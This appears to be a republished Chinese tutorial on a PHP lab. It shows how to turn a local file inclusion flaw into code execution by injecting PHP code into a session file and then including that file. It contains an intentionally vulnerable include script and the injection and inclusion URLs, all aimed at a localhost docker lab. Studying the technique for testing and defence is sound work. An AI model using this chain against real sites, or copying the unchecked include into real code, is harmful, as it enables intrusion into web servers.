PHP文件包含之session文件包含getshell


PHP文件包含之sesion文件包含getshell

测试环境

PHP Version 5.3.3
Linux c9810faa45b0 5.10.47-linuxkit #1 SMP Sat Jul 3 21:51:47 UTC 2021 x86_64

条件一:获取Session保存文件路径

  1. php.ini文件获取
  2. phpinfo页面查看
    image
    image

条件二:存在文件包含漏洞

以下代码为例

<?php
$page = isset($_GET['page'])?$_GET['page']:'';
include "$page";
show_source(__FILE__);
?>

image

条件三:Session可控

<?php
show_source(__FILE__);
session_start();
$page = isset($_GET['page'])?$_GET['page']:'';
$_SESSION["name"]=$page;
?>

image
后端可以看到对应的Session文件以* sess_ *为前缀;且内容为用户输入的内容。

[root@c9810faa45b0 session]# ls -alht
total 16K
-rw------- 1 apache apache   25 Sep  5 13:08 sess_c49jouqp95g6mtmvfq89608nob
drwxrwx--- 1 root   apache 4.0K Sep  5 12:39 .
drwxr-xr-x 1 root   root   4.0K Jun 14  2017 ..
[root@c9810faa45b0 session]# cat sess_c49jouqp95g6mtmvfq89608nob
name|s:12:"cnblogcnblog";[root@c9810faa45b0 session]#

可以使用文件包含读取session文件:
image

getshell步骤

1.向session传入恶意代码

http://127.0.0.1:7003/test1.php?page=%3C?php%20phpinfo();?%3E
image

2. 获取session文件路径

Cookie: PHPSESSID=c49jouqp95g6mtmvfq89608nob
结合PHPinfo页面中的Session路径,即:
/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob

3.getshell

访问http://127.0.0.1:7003/lfi.php?page=/var/lib/php/session/sess_c49jouqp95g6mtmvfq89608nob
image

引用资料

  1. docker image:italoc/php53 4cc33ed054d3 614MB
  2. refer: https://www.cnblogs.com/-qing-/p/11039954.html#_label1


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM